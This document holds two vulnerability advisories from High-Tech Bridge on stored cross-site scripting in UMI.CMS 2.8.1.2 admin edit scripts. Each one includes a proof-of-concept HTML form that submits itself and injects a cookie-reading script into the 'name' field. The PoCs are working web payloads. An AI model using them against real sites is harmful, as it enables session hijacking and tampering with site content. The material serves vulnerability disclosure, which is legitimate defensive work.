UMI.CMS 2.8.1.2 Cross Site Scripting

`====================================  
Vulnerability ID: HTB22813  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_umi_cms_1.html  
Product: UMI.CMS  
Vendor: umisoft ( http://www.umi-cms.ru/ )   
Vulnerable Version: 2.8.1.2  
Vendor Notification: 25 January 2011   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "/admin/news/edit/4/do/" script to properly sanitize user-supplied input in "name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/news/edit/PAGEID/do/" method="post" name="main" enctype="multipart/form-data" >  
<input type="hidden" name="referer" value="hello">  
<input type="hidden" name="domain" value="host">  
<input type="hidden" name="name" value='news"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="alt-name" value="altname">  
<input type="hidden" name="active" value="0">  
<input type="hidden" name="active" value="1">  
<input type="hidden" name="type-id" value="23">  
<input type="hidden" name="save-mode" value="Save">  
<input type="hidden" name="template-id" value="2">  
<input type="hidden" name="is-visible" value="0">  
<input type="hidden" name="is-default" value="0">  
<input type="hidden" name="perms_read[2373]" value="1">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
====================================  
Vulnerability ID: HTB22811  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_umi_cms.html  
Product: UMI.CMS  
Vendor: umisoft ( http://www.umi-cms.ru/ )   
Vulnerable Version: 2.8.1.2  
Vendor Notification: 25 January 2011   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "/admin/content/edit/PAGEID/do/" script to properly sanitize user-supplied input in "name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://[host]/admin/content/edit/PAGEID/do/" method="post" name="main" enctype="multipart/form-data" >  
  
<input type="hidden" name="referer" value="google">  
<input type="hidden" name="domain" value="[host]">  
<input type="hidden" name="name" value='price3"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="alt-name" value="price">  
<input type="hidden" name="active" value="0">  
<input type="hidden" name="active" value="1">  
<input type="hidden" name="type-id" value="10">  
<input type="hidden" name="save-mode" value="Save">  
<input type="hidden" name="template-id" value="2">  
<input type="hidden" name="is-visible" value="0">  
<input type="hidden" name="is-visible" value="1">  
<input type="hidden" name="is-default" value="0">  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`